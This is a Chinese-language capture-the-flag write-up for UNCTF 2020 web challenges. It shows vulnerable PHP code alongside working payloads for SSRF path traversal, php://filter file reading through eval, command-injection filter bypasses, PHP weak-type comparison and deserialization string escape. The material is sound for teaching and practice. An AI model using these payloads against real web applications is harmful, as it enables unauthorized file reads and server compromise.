unctf2020

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
                   welc0me to 2020UNCTF!!
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

第一需要匹配unctf.com,第二不能匹配php|file|zip|bzip|zlib|base|data。

url可控,可以访问unctf.com里面的数据 从而造成ssrf。


?url=www.unctf.com/../../../../../flag

1



payload2:

file_get_contents()函数如果输入一个不存在的协议名,

例如构造aaa://,其中aaa:/会被识别成一个目录,/unctf.com是另一个目录,

后端就会读取成/aaa:/unctf.com/../../../../../flag就会造成目录穿越,从而造成SSRF。

?url=aaa://unctf.com/../../../../../../flag

2


参考文章


babyeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>

?a=include $_GET[“zsz”] ?>&zsz=php://filter/read=convert.base64-encode/resource=flag.php

img

base64解密得:

1
2
3
4
<?php
$flag='FLAG{581e439b-deca-4e87-a957-07d07612baa3}';
?>


UN’s_online_tools

经典命令执行

4

里面涉及很多过滤,在index.php里面

过滤了cat,所以可以用能代替cat的命令

1
2
3
4
5
6
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号

%09代替空格

5

查看index.php内容:

发现过滤内容

8

style.css里面没有东西,可能flag不在这个下级目录里面

6

flag被过滤了,通配符?来匹配

7

命令执行绕过

感觉还是要自己总结一下,后面再总结一下吧


ezphp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

if判断用的是==而不是===,利用php弱类型

1
2
3
4
5
6
7
8
9
10
<?php
$username='aaaaa';
$data=[
'username'=>true,
'password'=>true,
];
$p1=serialize($data);
echo $p1;

?>
1
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

POST传入即可


收集总结一下php弱类型:

  • =====区别:

    === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

    == 在进行比较的时候,会先将字符串类型转化成相同,再比较

  • “0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

  • “1admin”==1 比较的时候会将1admin转化成数值,结果为1,

  • 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

很多题可以用php弱类型绕过


easyunserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

php反序列化+字符串逃逸

先反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=serialize(new a($uname,$password));
var_dump($ser);
?>

当我们传入?1=test

1
O:1:"a":2:{s:5:"uname";s:4:"test";s:8:"password";i:1;}

10

在逃逸构造:

我们知道我们的uname是可控的,但是我们密码是不可控的,我要拿flag必须构造出password=’easy’

下面就是我们构造的关键部分

filter($string){
1
2
3
    function filter($string){
return str_replace('challenge','easychallenge',$string);
}

当我们传入chanllenge是,chanllenge会被替换成easychallenge

uname每有一个changllenge, uname长度增加4,这样我们可以通过闭合,构造password=’easy’,

“;s:8:”password”;s:4:”easy”;}共有29个字符,不是4的倍数后面加3个字符就行

1
2
?1=
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

{s:5:”uname”;s:104:”challengechallengechallengechallengechallengechallengechallengechallenge”;s:8:”password”;s:4:”easy”;}aaa";s:8:"password";i:1;}标记的部分由于前面的执行过了,就不能执行被丢弃了

9

上面这种情况是字符串变成引起的。

还有字符串变短也会引起字符串逃逸

参考文章

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信